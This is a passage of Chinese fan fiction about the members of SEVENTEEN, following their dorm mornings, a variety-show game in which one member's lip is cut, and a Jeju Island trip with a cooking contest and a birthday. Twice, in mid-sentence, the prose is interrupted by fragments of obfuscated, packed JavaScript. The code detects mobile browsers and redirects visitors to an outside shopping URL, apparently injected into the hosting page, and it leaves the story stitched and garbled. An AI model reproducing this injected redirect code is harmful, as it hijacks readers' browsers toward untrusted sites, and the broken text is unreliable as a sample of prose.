姜里树不想再拖了,一把抓住兔子的手腕把他扛在了肩膀上,就往外走。突然失重被抓住的“兔子”立刻在他肩上扭动起来,小腿乱蹬。姜里树故意晃了一下,装出要摔倒的样子,肩上的人瞬间僵住,乖乖趴好不动了。 “扯平了,”姜里树的声音从肩膀下方传来,带着点闷闷的笑意,“下次再这么吓我,可就没这么简单了。” 肩上的人趴着嘴里“呀呀呀——”的叫着,悄悄抓紧了他后背的衣料。 崔胜澈在姜里树上楼叫人的时候,就已经去地下一层把李知勋、权顺荣和李灿都叫上来了。大家聚在餐桌边等了好一会儿,都没见两个人下来。 正准备让人去叫的,结果,等来的画面是尹净汉被姜里树像扛袋大米一样扛着他,晃悠悠地走下楼梯。 ‘绝对是净汉哥又惹到里树哥了!’ 餐桌边的孩子们瞬间笑成一团,东倒西歪的,筷子和碗碰得叮当响。 被姜里树放到椅子上的尹净汉,从被扛下来起就死死捂着脸。坐定了也不肯把手放下来,只听见他在指缝里嘟嘟囔囔:“在孩子们面前面子全没了……” 坐在他旁边的金珉奎很诚恳凑到他身边说‘哥的面子其实早都没有了’,为此还挨了兔子一拳,给他打的直往另一边的李硕珉身边缩。 大家边吃边聊的时候,崔胜澈的手机突然响了。 “振宇哥?怎么了?” 接通电话后那头经纪人哥说了几句,崔胜澈看了姜里树一眼,差点笑出声。桌上的孩子们也都安静下来,好奇地望向他。 “内,我会转告他们的……”崔胜澈强压着笑意,朝李灿抬了抬下巴,“灿呐,去开一下电视。” 电视刚打开,里面就传来了新闻播报声: “今日下午,首尔江南区发生一起追车事故。某偶像团体私生饭在雨天驾车追逐偶像车辆时,因路面湿滑导致车辆失控,撞上路灯。所幸事故未造成人员伤亡……” 桌上的人面面相觑,一脸茫然,不明白崔胜澈为什么突然让大家听这个。 “哈、哈哈……新闻里说的‘某偶像团体’,不会是我们吧?”文俊辉指着电视,笑容有点僵,显然已经猜到了什么。 “里树啊,”崔胜澈终于笑出声来,“振宇哥让你以后开车注意安全……” “莫?”姜里树还是一头雾水,“这跟我开车有什么关系?” “振宇哥接到交警队的电话,说下午你们开车回来的时候,可能因为你开得太快,把跟在后面的私生饭甩开了。对方一着急,车轮打滑撞上了路灯——”崔胜澈忍笑忍得肩膀直抖,“112救援她的时候,她还在大喊‘RISU欧巴为什么开那么快啊!’哈哈哈哈哈……” “……” 听到这话,全桌的孩子都笑了出来。有的捂着肚子前仰后合,有的拍着桌子喊“哥真是”,“哎一古,这也太好笑了吧!” 姜里树:好了不要笑了!你们吵到我的眼睛了!! “而且……哈哈……而且振宇哥说,让我们后天集体去参加‘交通安全颂’的录制……哈哈哈哈哈……”崔胜澈一边笑一边把话说完,餐桌彻底笑翻了。 “。” 31. 31.‘负伤\’ 新的一天,新的行程,从……李DK的歌声中开始…… “Wake up!-- Wake up!——” 李硕珉从他的卧室猛地冲了出来,高声歌唱着自己“创作”的起床歌。他也不去挨个敲门就是从三楼到二楼的走廊来回跑,确保每一位成员都能听见。 “起床了!!!——”翼龙尖叫。 为了回应他,二楼三楼全部传来了咆哮声。 “呀!李硕珉!!!” “哈吉嘛拉古!!!!!!” “呀!李DK你疯了吗!!!!” 这宿舍如他所愿,全部都醒来了。 同样被李硕珉的歌声吵醒的姜里树,迷迷糊糊感觉身上沉甸甸的。他勉强睁开眼,才意识到洪知秀正整个趴在他背上 难怪醒来时还以为被“鬼压床”了。 “知~秀~啊~”姜里树脸埋在枕头里,气若游丝地发出请求,“你要不要……先起来一下呢……” 这孩子这样睡腰真的不会疼吗? 洪知秀也还没完全清醒,迷迷糊糊地从姜里树背上咕噜噜滚下来,又把自己重新卷进被子里,长长叹了口气,他也被李硕珉那翼龙尖叫彻底喊醒了。 “pang!——dong!——”所有人的卧室门外都传来了一声巨响,这下子真的所有人都起来了。 几乎是同一时间,所有成员都打开房门冲了出来。顶着乱翘的头发、穿着歪扭的睡衣、光着脚或趿拉着拖鞋,这时候谁还在意形象,什么样子大家没见过,现在全都朝着那声巨响传来的方向冲。 刚才走廊里明明只有李硕珉一个人边唱边跑,那声突如其来的闷响砸得所有人心里一紧。呼吸都跟着停了半拍,生怕那孩子出了什么意外。 “嘿嘿,米亚内~”等大家一口气冲到二楼阳光房,只见李硕珉正弯腰从地上捡起一只小哑铃。他抬起头,脸上还是那副笑嘻嘻的模样,“哑铃没拿稳,掉地上了。” “……”崔胜澈站在十三个人最前面,瞪大了眼睛就要冲上去,被他旁边的姜里树一把揽腰拦了下来,整个人还因为用力过猛,而腾空了起来,顶着那表情让他碰到李硕珉就真的会变成意外了。 “呀!呀!呀!!米亚内!米亚内!!!”李硕珉满脸惊恐的看着崔胜澈就要冲上来揍他,想往人群里扎。 那场面一下子就热闹起来了,帮忙阻拦的,旁观嘲笑的,帮倒忙的,各忙各的。 临近正午,众人才陆续起身洗漱整理,一上午难得的休憩时光,还是因为下午安排了团体综艺的录制。 午后,一行人来到《一周的偶像》录制现场。节目组准备的服装并非统一同色的团队制服,而是依照小队划分,颜色各异。 “这衣服……”姜里树举着手上贴着自己名字的蓝色卫衣,左看看崔胜澈手上是沉静的黑色,右看看李知勋那儿身着柔软的粉色卫衣。目光转回自己手中这一抹蓝,突然觉得自己的蓝色卫衣也还是挺好看多了,就是和他的一脑袋银灰色长毛不太搭配。 找个机会,他想把这玩意儿(头发)染成绿的:-D,克莱因蓝和荧光绿一定很搭。 节目录制很快开始。在两位MC前辈热情的“万岁”欢呼声中,SEVENTEEN全体成员一齐登场,在演播室瞬间充满了明亮的活力与笑声。 成员们依小队顺序陆续登台,姜里树站在Performance队的最外侧,也成了整排队伍的第一个。因此当MC前辈笑着招呼“从这边开始自我介绍吧”时,集体口号后他反而成了第一个开口的人。 “内,前辈们好,大家好,我是SEVENTEEN的RISU。”姜里树微微鞠躬,问候简洁而清晰。 “啊——是你呀!”刘大俊眼睛一亮,拍了下手,“那个被称为‘运动界黑马’的RISU!”郑亨敦也跟着笑起来,两人不约而同地看向他那双令人过目不忘的绿眼睛,“原来是这孩子!黑发染成银灰色了,差点没认出来呢。” “内,前辈们好。”姜里树又礼貌地欠了欠身。 两位MC也没有多作停留,毕竟后面还有成员们等着介绍,流程很快继续了下去。 让前辈们都惊叹非常努力的自我介绍后,紧接着表演了他们迷你专辑的主打曲《MANSAE (万岁)》和SJ前辈们的《Sorry sorry》,整齐划一、力道饱满的刀群舞,引得现场工作人员赞叹不已。 “SEVENTEEN单元对决生活准备大作战”的正式开始,拉开序幕。 进入游戏环节。即便是生活物品作为奖励,成员们也格外投入,现场洋溢着满满的活力与欢笑声。 游戏第一局是“嘴对嘴传纸”。由队长崔胜澈带领的Hip-hop队首当其冲,四人虽略显紧张,却仍旧稳扎稳打地传递着。 姜里树坐在台下,看着Hip-hop队那四人的耳朵以肉眼可见的速度越来越红,忍不住和身边的成员们一起笑弯了腰,气氛在羞涩与欢快之间微妙地摇晃着。 姜里树望着崔胜澈因差点亲到全圆佑而激动得原地蹦跳的模样,嘴角不禁微微一抽。 不由想到他们练习生时期,SEVENTEEN的集体生活早已彻底“重塑”了姜里树对社交距离的认知。从最初保持的一米,逐渐演变为脸贴脸、胸贴背、胳膊缠着胳膊、腿叠着腿。 直到有次录制“SEVENTEEN TV”做游戏,最后一层距离感也在镜头前□□脆地打破。当时正在玩Pocky Game,作为搭档的崔胜澈胜负欲上头,一把按住他的后脑,两人的嘴唇,连同牙齿,就这么毫无缝隙地紧贴在一起。姜里树根本来不及后退,巧克力棒早已消失他们的唇齿之间,他们理所应当的赢了游戏。 也是在那天,姜里树的初吻,也输给了队里胜负欲最强的那个孩子。 后来看到崔胜澈一把扶住李知勋的头、犹豫着快速贴了一下嘴唇的画面,姜里树默默转过头,在心中反复催眠自己: “对,那次……也只是因为这孩子太想赢而已。对,不是故意的。” 自那之后,姜里树像是彻底放开了。面对成员们随时随地的贴贴抱抱,甚至偶尔猝不及防的亲亲,他也只是笑着,不再躲闪。 像是某种默许后的自然。 有一次尹净汉忽然凑近,轻轻吻了吻他的眼角。姜里树没有躲,只是眨了眨眼睛,略带好奇地望回去。 两人静静对视了几秒,尹净汉却忽然笑了起来。那笑意里有些无奈,又像藏着什么没说出口的话。姜里树依旧没问,只是也跟着弯了弯眼睛。 这么想起来,除了崔胜澈和尹净汉,其他人亲亲抱抱的频率是不是高了点。 全圆佑咬过他的脖子,这孩子练习生时期似乎总有股“口欲期”未过的劲头,喜欢轻轻啃咬身边的人,姜里树就没少被他咬。看到他也咬其他人时他就放下心了,磨牙的不止他一个就行。 文俊辉刚来时,练习室里只有姜里树一个重国人,自然成了他最依赖的陪伴。姜里树走到哪儿都习惯牵着他,后来明明来了之后,文俊辉才渐渐放开,人也变得开朗起来。 那时候也是心疼小小年纪一大把年纪的李灿,所以对他偶尔控制不住情绪的撒娇,姜里树都会接受下来,也会带他和崔瀚率去电玩城放松,玩累了,就背起李灿,慢慢散步走回宿舍。 洪知秀和崔瀚率、夫胜宽与权顺荣,表面看似活泼开朗,实则都是心思细腻、习惯被动接纳温暖,并反馈温暖的那类人。每当其他成员张开手臂扑过来,他们总会安静地停在原地,乖顺地接住那个拥抱——像被阳光晒透的柔软云朵,不推拒,只是轻轻承载。 徐明浩就像一块柔软而腼腆的棉花糖,轻轻落在了他们之间。身处异国,起初总有些拘谨,但因为有姜里树和文俊辉在身边,随着时间也渐渐融入了这个集体。成员们也格外留意这最后到来的“碎片”,小心地保护着他。既不愿让他感到孤单,又注意着不让过度的热情惊扰到那份安静的温柔。 至于金珉奎和李硕珉,根本是两只开朗热情的小狗,最喜欢贴贴抱抱,仿佛身上装着自动感应谁最需要贴贴抱抱的雷达。 而姜里树自己也并非全然被动。他总爱黏着李知勋,有时整个人挂在他身上,趁人不注意,会偷偷亲一下他和自己一样香味的毛茸茸发顶。 想到这儿,姜里树忍不住笑了出来。都是自家孩子,贴贴抱抱又怎么啦?崔胜澈这么害羞,难不成是孩子长大了,也开始讲究什么“男男大防”了? 轮到Vocal队上场时,台下没参的与参与了的成员更是热闹起来。Hip-hop队的不知是在真心加油,还是纯粹添乱,起哄声、笑声让台上专注传递纸张的紧绷瞬间溃散,又因为Hip-hop队唱歌哄笑的专注不起来。 轮到最后一组Performance队时,姜里树微笑着将小队里四个孩子送上场,自己则和上把Vocal队的李知勋一样坐在了椅子上,目送队友上场。美其名曰“保持队伍间的公平”,至于是否掺杂了一丝不愿上台的私心,那就只有他自己知道了。 但是有没有人想放过他,接下来就知道了。 “RISU啊!”MC刘大俊前辈忽然转向稳稳坐在椅子上的姜里树,带着一脸“不怀好意”的笑容,“我听在石说,你们之前那个‘百人大战’可精彩了……今天不让我们也见识见识你的比赛天赋吗?” 镜头猝不及防地对准了还在放松微笑的姜里树。 “!”咳!还被呛了一下。姜里树笑容一僵,睁圆了眼睛望向忽然点他名的两位前辈,‘刚才知勋不是也没被cue吗?!’ “哈哈哈……”一旁的李知勋看着他这副表情就猜到了他在想什么。自己算是“逃过一劫”,可谁让这匹“黑马”太过显眼呢——想到这儿,他不禁笑得更欢了,使劲鼓掌。 “内,既然提到了‘黑马RISU’,那就请你上场展示一下吧!”郑亨敦笑着指向台下的姜里树。 权顺荣听见姜里树被点名,眼睛瞬间亮了起来,小跑着来到他哥身边,一把拽起还在发愣的姜里树就往台上带。 “(°ー°〃)……”姜里树被自家仓鼠小队长安排在了徐明浩和文俊辉中间。按他目前的身高,似乎也只有这个位置最合适。 冷静,冷静!……。他深吸一口气,试图让自己紧绷的神经松弛下来。还没出道时,这两个孩子可是出了名的腼腆安静,应该……不会再出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205971|197337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现那种“胜负欲爆棚”的场面了吧。 游戏一传一,前两圈进行得还算顺利。到了第三轮,尽管传递节奏越来越快,徐明浩仍稳稳地衔着纸片递到姜里树唇边,姜里树也谨慎接过。可就在该传给文俊辉的那一刻! 接下来的画面,在众人的大笑声夹杂着几声惊叫中,彻底走向了意想不到的方向。 只见文俊辉忽然伸出手,在姜里树疑惑的目光中,猛然按住了他的后脑。下一秒,两人隔着薄薄的纸片唇齿相触。姜里树瞳孔一震,纸片已被文俊辉稳稳衔走。游戏仍在继续,再震惊这孩子堪称“猛烈”的动作也得压在心里,否则十四个人就都全军覆没了。 传递不知进行到第几张,姜里树几乎麻木地加快动作。就在他将纸片递给文俊辉的瞬间,纸片边缘忽然滑落,文俊辉眼神一紧,迅速倾身贴上,试图在纸片落地前接住。 纸片是接住了。 可他的上门牙也重重磕在姜里树嘴角。待文俊辉衔着纸片退开时,姜里树下唇边已晕开一片艳红——不知是磕破的血痕,还是被红色纸片染上的颜色。 直到文俊辉身后的李灿接过纸片,清点后才发现任务早已完成。“够了够了!我们可以慢下来了!”他连忙提醒,大家这才从紧绷的节奏中松缓下来。 李灿接过最后两张纸片时,隐约嗅到一丝极淡的血腥气。他微微一愣,但游戏还未完全结束,来不及细想,只下意识朝前面哥哥们的方向瞥了一眼。 “……14、15、16!Performance队挑战成功!”刘大俊前辈笑着宣布,还特意模仿了一下文俊辉刚才“霸道”的接纸姿势,嘴上贴了张红纸片作势要去亲身感受一番。郑亨敦前辈也笑着跟上,两人一搭一唱,现场顿时笑成一片。 姜里树也随着众人一同笑着,却趁所有人注意力不在这边的间隙,被崔胜澈轻轻握住手腕转了过来。他回头看去,发现是崔胜澈后,问他怎么了。 崔胜澈虽然脸上仍挂着笑意,但另一只手却已抚上他破损的嘴角。指尖离开时,还沾了一点鲜红的血痕。 他眉头微蹙,姜里树自然也看到了他指尖的红色,却只是不在意地笑笑,抬手揉了揉他的头发。 姜里树转过头时,不动声色地舔去嘴角的血迹。 唇边湿痕浅浅晕开,将那抹刺眼的红掩了下去。 第一局游戏由Performance队获胜。在队友们的欢笑与簇拥下,文俊辉走上前,选了一套沐浴香波用品作为奖励。气氛轻快,首轮游戏在一片热闹中落下帷幕。 宣布第二局游戏前的间隙,文俊辉悄悄凑近,压低的声音里带着明显的歉意:“哥,对不起……”他像只做错事的小猫,眉头轻轻蹙起,带着点心疼的目光落在姜里树嘴角那抹淡淡的血痕上。 “这点小伤,还没指甲盖大呢,”姜里树失笑,伸手揉了揉他软软的头发,“不要管一会儿自己就好啦,别放在心上。”语气里听不出半分责怪,只有温柔的安抚。 “好啦,第二局游戏要开始了。”姜里树又轻轻挼了挼小猫柔软的发顶,示意他往前看,“专心一点,我们还得赢呢。” 第二局游戏呼应了他们这次的迷你专辑的主打歌,大家举手齐呼“万岁!” 不负Performance队之名,他们再次拿下了第一。在队友的欢呼声中,徐明浩走上前,选择了奖品中的毛巾,脸上带着腼腆却明亮的笑容。 最后一轮是“斗鸡”游戏,这个从练习生时期就常玩的游戏,崔胜澈始终是队里公认的“不败王者”。全员上阵,混战一触即发。哨声刚落,崔胜澈便带着金珉奎直朝姜里树的方向冲来。 姜里树却不打算正面交锋。他眨眨眼,干脆利落地向后一跃,主动跳出了界外。崔胜澈冲势太猛,根本没料到对方会放弃得如此迅速,连一点缠斗的意思都没有,脚下一时收不住,也跟着单脚蹦出了线。 一场预期中的对决还没开始,两人便已双双出局,只留下一片爆笑与调侃的欢呼。 “干什么只盯着我?上来就撞我啊?”姜里树狞笑着凑近,伸手去揉崔胜澈的脸。这位和他一同提前淘汰的“对手”。 “还不是因为你身上那些奇奇怪怪的Buff!”崔胜澈被他揉得声音糊成一团,却没推开他的手,“每次玩这种游戏,最后活下来的总是你,太可疑了!” 他说着,反而轻轻握住了姜里树的手腕,也没松开,两人就这么在界外闹成一团。 最终胜者——Vocal队凭借巧妙的战术拿下了胜利。Hip-hop队与Performance队早早“斗”得两败俱伤,反倒让Vocal队抓住机会,一举拿下了剩余的所有奖品。 《一周的偶像》录制在孩子们的笑声中圆满落幕。他们带着赢来的所有奖品,热热闹闹地踏上归程。 回程的车上,针对让姜里树成为了节目里唯一一位“光荣负伤”的门俊尼小猫成员,队长崔胜澈与副队长尹净汉悄悄达成了以下“惩罚”共识。崔胜澈一把按住文俊辉的肩膀,尹净汉便笑着伸手,把这只小猫“狠狠”挼了一通。 于是,一只头发凌乱、眼神放空、仿佛失去灵魂的“生无可恋款”小猫,在车厢的喧闹中诞生了。 32. 32.时光 冬日凌晨八点的首尔,在苍白而明亮的晨光中完全醒来。 清冽的空气里呵气成霜,街道被一夜的寒气浸透,此刻正被逐渐升高的日光缓慢烘暖。光线锐利而透彻,从林立的高楼间隙斜切下来,照亮空气中浮动的细微尘霭。路边银杏早已落尽,枯枝的影子在步道上拉得细长。 成员们陆续做好造型,又被公司staff神秘兮兮地通知,让大家按顺序去到楼顶。 从崔胜澈第一个推门出去开始,尹净汉、洪知秀……一个接一个被轻声唤走。休息室里渐渐只剩夫胜宽和姜里树还留在最后。夫胜宽嘴角抿着藏不住的笑,眼神亮晶晶地看着姜里树,一副“我知道点什么但你肯定猜不到”的模样。 姜里树看着他那副模样,不由也弯起嘴角。只要孩子们能这样天天开开心心的,接下来无论公司要安排什么“惊喜”,他觉得自己都能接得住,甚至隐隐期待起来。 只要不是把他们丢到无人岛上自生自灭…… “里树hiong!我们也该上去啦!”夫胜宽几步走到姜里树身边,一把牵起他的手就往门外带,声音里压不住雀跃。 “好。”姜里树任由他拉着,眼里带着笑意跟了上去。 等两人走上楼顶,才发现成员们早已聚在遮阳棚下等着他们。一见他俩露面,大家立刻笑着挥手招呼:“胜宽啊!里树hiong!快过来这边——” 夫胜宽和姜里树却没急着入座,反而走到众人背后。夫胜宽从背后忽然举起一只小喇叭,眼睛亮闪闪地抬高音量。 “今天的MC——是我!”他清了清嗓子,努力摆出正经主持的模样,“今天将由我,带领各位——出发去旅行!” “旅行?!”棚下一片惊讶的呼声接连响起。 “目的地是——济州岛!!!” “哇啊——!!!” 棚下瞬间爆发出欢呼,有人已经跳起来拍手,笑声和惊叹混着十一月的风,一下子把楼顶填满了明亮的生气。 SEVENTEEN全员搭上飞往济州岛的航班,抵达时,岛屿正笼罩在湿润的细雨里。夫胜宽导游决定带成员们去吃济州岛有名的美食——肉拉面! 一行人乘上车,在细雨蒙蒙的路上晃晃悠悠地驶向预定的面馆。店主早已准备好宽敞的包间,足够容纳十四人。孩子们刚围坐下来,慈祥的店主便端上许多能立刻入口的小菜——热气腾腾的煎饺、腌得正好的辣白菜,以及特色荞麦萝卜糕……饥肠辘辘的孩子们眼睛顿时亮了起来。 没过多久,店主亲自端着托盘进来,上面一碗接一碗暖白的汤面正蒸腾着浓郁的热气,正是济州岛特色的肉拉面。 汤色浓醇,泛着油亮的光泽,大块炖得酥烂的猪肉半浸在汤中,旁边卧着对半切的溏心蛋,再铺上脆嫩的豆芽与细细的海苔丝。筷子一搅,碱水面筋道地缠着汤底醇厚的鲜香,热气混着猪肉与鲜汤熬煮的复杂滋味扑鼻而来。 “哇,真的和传闻中一样……”有人小声感叹。徐明浩已经被肉拉面吸引了全部的注意力,眼睛亮亮地说了句“好棒!”雨声在窗外细密地响着,而屋里只剩下筷子碰碗、吹气喝汤的暖融声响,以及偶尔冒出的、满足的叹息。 从拉面店出来,湿润的细雨已悄悄停了。十几个人站在屋檐下,商量接下来该去哪儿消食。 徐明浩望向远处隐约可见的海岸线,轻轻开口:“……想去看海。” 他向来是特别喜欢大海的孩子。走在他身旁的夫胜宽听见了,笑着揽过他肩膀,立刻扬声对大家说:“好!那我们就去海边!” “哦!大海!” 不知谁先喊了一声,接着好几道声音跟着笑起来。雨后的空气清透湿润,远远已能嗅到淡淡的海潮气息。海边多雨多云,可像是为了欢迎这群孩子们,云隙间漏出浅金色的光,正柔柔地铺向道路尽头那片灰蓝的方向。 和当初在束草的海边一样,孩子们一下车便雀跃着奔向沙滩,涌向那片灰蒙蒙的海。天气也与那时相似。冰凉的海风不断掠过身侧,卷起外套衣摆与发梢。 姜里树将手插在外套口袋里,不紧不慢地缀在所有人的最后。他望着前方那些奔跑、跳跃、在潮线边笑闹的背影,如同注视一场熟悉而又生动的默片。 风把他的银灰色头发吹得有些凌乱,他却只是微微眯起眼,确保所有孩子都在视线范围所及之处,一步一步,踏着潮湿的沙地,跟在这片热闹的尾迹之后。 他取出手机,镜头安静地掠过这片海与这群人,对准正朝着大海大声提问的权顺荣与李灿,框住蹲在沙上低头画着“SEVENTEEN?”的徐明浩,捕捉到正和路过的小孩子笑着比手势的夫胜宽与崔胜澈。 风穿过镜头与指尖,某一刻他忽然停住,看着取景框里那些早已脱离稚气却依然鲜活的侧脸……原来这就是“长大”的样子啊,依然奔跑,依然发问,依然笑着,只是身影在海天之间,已变得如此宽阔而笃定。 在沙滩上四散的身影,又随着一声呼唤渐渐聚拢。大家踩着一串串深深浅浅的脚印往回走,踏上通往停车场的木栈道。脚步声在空心的木板路上咚咚回响,混着渐弱的海浪与未散的笑语。三三两两,推着肩膀,指着远处还未暗透的天际线,朝着那排静静等候的保姆车走去。 晚上抵达临时宿舍时,孩子们推开门便不约而同地“哇”了出来。 屋内灯光暖黄,空间宽敞,布置得干净又温馨。引人注目的开放式大厨房料理台,宽阔且厨具齐全,仿佛早已准备好迎接一场属于十四个人的深夜炊事与热闹。 晚餐的准备随即提上日程。夫胜宽觉得按原有分队“缺乏挑战性”,崔胜澈便提议:“那就用剪刀石头布来分吧,剪刀一队,石头一队,布一队。” 十几只手同时伸出,几声“剪刀、石头、布!”的喊声落下,分队眨眼之间便定了下来。 大家下意识地望向队里公认“会做饭”的那几位。 石头队是权顺荣、金珉奎、李知勋、洪知秀、尹净汉。一看到队里有金珉奎,几人立刻欢呼着抱成一团。 剪刀队夫胜宽、李硕珉、崔胜澈、李灿。发现队里有济州岛本土“小柑橘”夫胜宽,也开心地搂在一起跳了跳。 所有人的目光这时都落到布队:文俊辉、徐明浩、崔瀚率、全圆佑,以及姜里树。 五个人里,三个没下过厨。偏偏队里……还有个什么饭都会做的大厨姜里树。 “哇!!这不公平!!”“啊!!安怼!!!”其他两组顿时嚷嚷起来,又是笑又是抗议,屋里瞬间炸开了锅。 白天在海边还感慨“孩子们长大了”的姜里树,此刻默默把脸埋进全圆佑背后,试图隔绝这满屋的“比格喧哗”。 可惜背后的衣料正被李硕珉和崔胜澈一左一右拽着,两人一边笑一边把他往外拖:“哥!安怼——拜托公平一点吧!!” “werwerwer”的背景音中,姜里树的声音闷闷地传出来,“……我真服了。” 最后各退一步——姜里树既然是布队成员,自然要参与,但为了平衡,他只负责部分辅助。既算参与,也维持了三队的公平。 接着各队开始起队名:石头队改叫“东洋鲈队”,剪刀队沿用“柑橘队”,布队则一脸茫然地定下“做啥队”,倒也贴切他们前路茫茫的状态。 决定启动资金的比拼方式时,全员举手通过,就用最经典的 “平底锅游戏” 决胜负。 徐明浩对这个游戏仍敬而远之,便没有上场。姜里树撑到第四轮被淘汰,剩下的成员节奏越来越快,胜负直到半小时后才见分晓。 最后留在场上的是尹净汉与崔瀚率。 小熊终究没斗过黑心兔子,三局两胜,尹净汉笑着拿下了最终的胜利,优先获得采买资金。 “东洋鲈队”获得三万韩元,“柑橘队”获得两万韩元,“做啥队”获得一万韩元。 姜里树有些沉默的看着手上这一万韩元,想了想他们的队名,“做啥队”……所以做啥呢? 集体来到超市采购。姜里树在车上听了孩子们的想法,决定尝试复刻白天吃过的“肉拉面”。虽然预算有限,但做个简易版的“肉拉面”还是可以的。 他先带大家买了一公斤普通小麦面粉,幸好超市有货,价格也合适,不必用拉面平替,又选了单人份搭配的蔬菜。“肉拉面”的灵魂汤底自然来不及熬煮,只能依靠现成的佐料包。剩下的钱买了一块猪肉,好心肠的肉摊老板努拿看是一群少年,特地切了厚实一些,还笑着鼓励:“要好好加油啊!” 购物车里渐渐堆起简单的食材,预算虽紧,却也勉强凑齐了一餐的轮廓。 回程的车上,姜里树趁着其他两队不在,低声给有做饭基础的文俊辉“开起小灶”——从肉片怎么腌制,到调料下锅的时机,一点一点细细交代。文俊辉听得认真,不时点头,手里还比划着翻炒的动作。 回到宿舍,厨房顿时热闹起来。三组人挤在料理台前,各忙各的,却也有种默契的秩序。姜里树遵守约定只参与部分,便挽起袖子专注和面、擀面。手工拉面在沸水里翻滚时,文俊辉那组的汤底也正飘出香味——时间卡得刚好,面条捞起入碗,依旧筋道,不至软烂。 一道道菜被端到庭院长桌上,冒着热气,摆得满满当当。大家围着桌子互相打量、笑着点评,气氛活络得像在开美食展览。这时,今晚的“神秘评委”被请了出来——竟是夫胜宽的妈妈左女士。夫胜宽瞬间睁大眼睛,嘴唇微张,惊喜得说不出话来。明明白天通话时妈妈还说在首尔,此刻却温柔地站在济州岛晚风里,对他轻轻招手,眼里满是笑意。 在孩子们期待的目光中,胜宽妈妈微笑着入座,开始一一品尝大家的手艺。 她先尝了“做啥队”的简易版肉拉面,眼中闪过一丝惊喜:“面条很劲道,汤的味道也很特别呢。”接着温和地补充,“不过和真正的济州肉拉面倒是不太一样。”全圆佑在一旁轻声解释:“因为时间不够熬汤底……”左女士点点头,又喝了一口汤:“这样也很好吃,有你们自己的风味。” 接着是东洋鲈队的海鲜汤与烤青花鱼,她细细品尝后也笑着称赞:“海鲜很新鲜,调味也刚好。” 最后尝到自家儿子所在的柑橘队做的济州黑猪肉时,她眼睛明显亮了起来,语气里多了份熟悉的温暖:“嗯,这个味道——是地道的济州风味呢。” 结果自然不言而喻。左女士放下筷子,笑着看向围在桌边一张张紧张又期待的脸宣布。 “今晚的优胜是——柑橘队!” 欢呼声瞬间爆发,柑橘队的几个孩子跳起来抱在一起,其他两队也大笑着鼓掌。夜色里的庭院,此刻满满当当盛着的,都是热腾腾的饭菜香与掩不住的青春欢闹。 接下来的时间,大家围坐在满桌的菜肴旁,一起分享彼此的作品。然而这些都还只是“前奏”,真正的主菜,是紧接着的烤肉盛宴! 炉火升起,肉片在烤盘上滋滋作响,香气随着夜风飘散。而这场烤肉,还有一个特别的意义:庆祝他们的明浩成年,十八岁快乐! “成年快乐,明浩呀——!” “我们明浩呀!生日粗卡!!!” 欢呼声、掌声、夹着烤肉的欢呼此起彼伏。徐明浩被围在中间对着早就准备好的生日蛋糕许着愿,有些害羞地笑着,眼睛却亮晶晶的。有人往他手里塞了一杯浅浅的饮料,有人往他盘里夹了最厚的一块肉。 火光映着一张张年轻的笑脸,食物热气模糊了夜晚的凉意。在这个济州岛临时的院子里,十八岁的序幕,被烤肉的香气、队友的祝福,以及海风送来的隐约潮声,温柔地揭开。 吃饱喝足后,进入了“对成员们说说心里话”的环节。成员们依次站上矮台阶,面对下方围坐的队友,把平时藏在玩笑下的真挚轻轻摊开。 轮到最后,姜里树站了上去。他望着一双双在夜色里依然亮晶晶望向他的眼睛,停顿片刻,声音比海风更温和: “有什么话都不需要一个人闷在自己心里,我就在这里,胜澈,净汉,知秀,我们这些哥哥们都在这里,成员们也都在彼此身边,不要觉得长大了就不需要向哥哥们撒娇了啊……” 他顿了顿,眼里浮起一点柔和的无奈。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205972|197337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “你们一个个忽然长得这么快……倒让我有点寂寞了呢。”说着,他还故意抬手轻轻捂住心口,做了个受伤的表情。 台阶下顿时响起一片慌慌张张的回应… “安怼!才没有长得很快!” “哥你寂寞什么呀,我们不是天天在你身边吗!” “就是!刚刚不是还黏着你呢!” 抗议声、笑声、夹杂着某人假哭的表演,在济州岛的夜空下暖暖地融成一片。 夜渐深,风里透出凉意,所有人却依然聚在院子里,没有散开的意思。 崔胜澈呼唤着孩子们过来,先伸出手,接着一只、又一只手掌叠上来,指节碰着指节,体温贴着体温,围成了一圈紧密的圆。有人低头笑了,有人悄悄吸了吸鼻子。 然后,像每一次需要力量时那样,声音从各处响起,汇成一道整齐而明亮的潮! “SEVENTEEN,怀——挺——!” 喊声落进济州岛的夜色里,短暂地惊起了不远处树梢的眠鸟,却也像某种温柔的锚,将这一刻的热烈与依偎,深深沉入所有人的心底。 济州岛两天一夜的旅行,转眼就过完了一半。休息充足的孩子们在新一天的晨光中醒来,这是短暂旅行的最后一日,安排的行程是体验济州岛上的娱乐项目。 大家再次坐上车,抵达游乐场地后,首先一起玩起了卡丁车。 卡丁车数量有限,十四个人无法一人一辆。于是老板就提议,两人一辆也是可以的。 崔胜澈一听,立刻拉住姜里树,把头盔塞进他手里。 “里树!我们一辆!” 姜里树戴好头盔,又摸出不知道哪来的墨镜架上,接着便像位悠闲的大爷般抱着手臂坐进副驾,全程任由崔司机载着他在赛道里自由转悠。 风声呼啸,引擎嗡鸣,他只在每一次过弯时稍稍挑下眉,会忍不住嘴角挂着笑。 卡丁车结束后,众人便散开去玩各自感兴趣的项目。姜里树早在进场前就看中了跑马场,此时将墨镜推到头顶固定,朝几个跃跃欲试的弟弟们一招手,带着他们去了跑马场。 